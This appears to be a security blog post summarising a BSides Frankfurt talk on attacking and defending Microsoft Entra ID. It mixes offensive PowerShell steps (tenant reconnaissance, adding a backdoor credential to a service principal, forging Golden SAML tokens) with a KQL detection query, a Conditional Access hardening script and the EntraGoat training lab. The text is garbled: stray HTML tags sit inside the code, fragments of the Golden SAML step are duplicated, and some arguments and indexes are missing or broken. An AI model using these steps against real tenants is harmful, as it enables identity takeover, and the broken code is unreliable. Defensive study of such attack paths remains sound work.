Listen to this Post
Introduction:
The perimeter of modern enterprise security has shifted from network firewalls to identity providers, with Microsoft Entra ID (formerly Azure AD) at its core. As revealed at BSides Frankfurt, attackers are actively exploiting common misconfigurations to escalate privileges and achieve complete domain compromise, making understanding these attack paths a critical skill for all security professionals.
Learning Objectives:
- Identify common Entra ID misconfigurations that lead to privilege escalation.
- Execute and detect real-world attack techniques using open-source tools.
- Implement defensive hardening measures to protect the identity perimeter.
You Should Know:
1. Enumerating Entra ID with MicroBurst
Attackers begin by reconnaissance to map the Entra ID environment. The PowerShell-based tool MicroBurst provides a suite of functions for this purpose.
`Install-Module -Name MicroBurst -Force`
`Import-Module MicroBurst`
`Get-Command -Module MicroBurst`
`Invoke-EntraIDRecon -BaseDomain company.com -OutputFile recon_results.csv`
This series of commands installs and imports the MicroBurst module. The `Invoke-EntraIDRecon` function then performs extensive reconnaissance against the specified domain, collecting data on users, groups, applications, and devices, outputting the results to a CSV file for analysis. This helps an attacker identify high-value targets and misconfigured applications.
2. Exploiting App Registration Permissions
A common misconfiguration is overprivileged application registrations. The following Microsoft Graph PowerShell command can be used to list all applications and their permissions.
`Connect-MgGraph -Scopes “Application.Read.All”`
`Get-MgApplication | ForEach-Object { $_.DisplayName; $_.RequiredResourceAccess | Format-List }`
This script connects to the Microsoft Graph API with the necessary scope and enumerates every application registration, listing the permissions (API scopes) each one requires. An attacker looks for applications with high-privilege permissions like `Directory.ReadWrite.All` or `Mail.ReadWrite` that could be abused for further access.
3. Abusing Service Principals for Privilege Escalation
If an attacker compromises a user account that owns an application service principal, they can add credentials to that principal to assume its identity. This can be done with the `New-MgServicePrincipalPassword` cmdlet.
`$params = @{ PasswordCredential = @{ DisplayName = “Backdoor Credential” } }`
`New-MgServicePrincipalPassword -ServicePrincipalId -BodyParameter $params`
This command creates a new password credential for the specified service principal. The attacker can now authenticate as that highly privileged service principal, bypassing user account controls and potentially gaining access to critical data and systems.
4. Golden SAML Attack Simulation
The Golden SAML attack forges a SAML token to impersonate any user. While complex, the `AzureADGoldenSaml` tool can simulate it in a lab.
`git clone https://github.com/rootkit-io/AzureADGoldenSaml.git`
`cd AzureADGoldenSaml</h2>
<h2 style="color: yellow;">Import-Module .\AzureADGoldenSaml.psd1</h2>
<h2 style="color: yellow;">New-GoldenSamlCert -OutputCertFile goldencert.pfx -Password (ConvertTo-SecureString ‘Passw0rd!’ -AsPlainText -Force)</h2>
`New-GoldenSamlToken -Issuer "https://sts.windows.net//" -CertPath .\goldencert.pfx -CertPassword (ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -UserPrincipalName "[email protected]" -Domain "company.com"`
This clones the tool, generates a fraudulent certificate, and forges a SAML token for the user
[email protected]`. This token can be injected into a browser session to gain unauthorized access to cloud applications, demonstrating a critical flaw in trusting SAML assertions without proper validation.
5. Detecting Suspicious App Consent Grants
<h2 style="color: yellow;">
<h2 style="color: yellow;">
`New-GoldenSamlToken -Issuer "https://sts.windows.net/
This clones the tool, generates a fraudulent certificate, and forges a SAML token for the user
Blue teams must monitor for suspicious OAuth consent grants. This KQL query for Microsoft Sentinel hunts for new grants with high-risk permissions.
`AuditLogs | where OperationName == “Consent to application.” | where Result == “success” | extend Consent = parse_json(TargetResources)[bash] | extend Permission = Consent.ClassifiedPermissions | where Permission has “Directory.ReadWrite.All” or Permission has “Mailbox.ReadWrite” | project TimeGenerated, OperationName, InitiatedBy[‘user’], Consent.DisplayName, Permission`
This query filters the audit logs for successful consent operations. It parses the JSON details of the consent grant and specifically looks for applications that have been granted dangerous permissions, allowing for rapid detection of potentially malicious activity.
6. Hardening Entra ID with Conditional Access Policies
Mitigation requires robust Conditional Access policies. While configured in the portal, their intent can be scripted for Infrastructure-as-Code using the `New-MgIdentityConditionalAccessPolicy` command.
`$params = @{ displayName = “BLOCK: Legacy Authentication” state = “enabled” conditions = @{ clientAppTypes = @( “exchangeActiveSync”, “other” ) applications = @{ includeApplications = @( “All” ) } users = @{ includeUsers = @( “All” ) } } grantControls = @{ operator = “OR” builtInControls = @( “block” ) } }`
`New-MgIdentityConditionalAccessPolicy -BodyParameter $params`
This PowerShell command uses the Microsoft Graph module to create a new Conditional Access policy that blocks legacy authentication protocols (like SMTP, POP3) for all users and all applications, a common vector for password spray attacks.
7. Deploying EntraGoat for Continuous Training
The open-source EntraGoat lab is essential for hands-on learning. Deploy it using Terraform.
`git clone https://github.com/Semperis/EntraGoat.git`
`cd EntraGoat/terraform</h2>
<h2 style="color: yellow;">terraform init</h2>
<h2 style="color: yellow;">terraform apply -auto-approve`
<h2 style="color: yellow;">
<h2 style="color: yellow;">
These commands clone the EntraGoat repository and use Terraform to automatically provision a vulnerable Entra ID environment in an Azure subscription. This provides a safe, legal sandbox for red and blue teams to practice the attacks and defenses discussed, sharpening their skills against real-world scenarios.
What Undercode Say:
- Identity is the new battleground, and Entra ID is the primary target. Misconfigurations are not edge cases; they are the default state for many organizations.
- Offensive testing is no longer a luxury. Without proactively simulating these attacks, organizations are blindly trusting complex identity systems they do not fully understand.
The presentation from Semperis underscores a paradigm shift in cloud security. The technical depth of the attacks, from Golden SAML to service principal abuse, reveals that the assumed trust model in cloud identity is fragile. The release of EntraGoat is a monumental step for the community, providing a much-needed, accessible platform for continuous testing and learning. This moves the industry beyond theoretical discussion and into practical, actionable defense. The key insight is that defending Entra ID requires an adversarial mindset; blue teams must think like attackers, constantly questioning and verifying the permissions and trust relationships within their own environment.
Prediction:
The exposure of these sophisticated Entra ID attack paths will lead to a significant short-term increase in cloud identity compromises as threat actors weaponize these techniques. This will force a massive industry-wide recalibration of cloud security postures, prioritizing identity hardening over traditional network security. In the long term, it will accelerate the adoption of automated identity security posture management tools, passwordless authentication, and stricter conditional access policies as the standard baseline for all Azure and M365 deployments.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Bsides Frankfurt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
